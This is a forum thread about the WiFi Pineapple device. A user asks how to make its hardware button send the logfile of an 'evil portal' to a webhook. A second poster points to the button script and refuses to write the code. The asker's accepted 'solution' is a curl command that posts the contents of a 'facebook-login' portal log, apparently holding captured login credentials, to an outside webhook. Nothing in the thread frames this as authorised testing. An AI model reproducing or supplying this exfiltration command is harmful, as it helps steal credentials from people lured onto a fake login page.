focus666 Posted January 24 Share Posted January 24 Gday, Simple request, how can I have the physical button on the pineapple post the logfile that the evil portal generates to a webhook? All assistance appreciated. Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24 Share Posted January 24 Edit /etc/pineapple/button_script and put anything you want to happen there. Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24 Share Posted January 24 Or... of course, use the web UI Quote Link to comment Share on other sites More sharing options...
focus666 Posted January 24 Author Share Posted January 24 35 minutes ago, dark_pyrro said: Edit /etc/pineapple/button_script and put anything you want to happen there. Thanks mate, part I am struggling with is the actual code to enter. Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24 Share Posted January 24 Well, that's up to you to figure out. My guess is that no one here will spoon feed you exactly how that's going to be solved. Obtaining the log file isn't difficult at all since it's there on the Pineapple. Then, doing the webhook can't be that difficult either and is very likely available just a Google search away. Your chances of getting some kind of help is probably greatly increased if you are more detailed about how you plan to solve it (what webhook do you plan to use, etc.). 1 Quote Link to comment Share on other sites More sharing options...
focus666 Posted January 24 Author Share Posted January 24 Thanks for the gatekeeping Pyro, its the command portion to grab the file and post it that's got me stumped as I normally use windows for that portion. Have the webhook portion sorted. Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24 Share Posted January 24 It's pretty basic Linux/Bash scripting. Just write some pseudo code that explains what you want to do, then start to do some searching on how to solve each part using Bash. It's a perfect easy project to start learning some Bash scripting. Quote Link to comment Share on other sites More sharing options...
Solution focus666 Posted January 25 Author Solution Share Posted January 25 this seems to work curl -X POST -H "Content-Type: text/plain" --data-urlencode "$(cat /root/portals/facebook-login/.logs)" WEBHOOK goes here Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.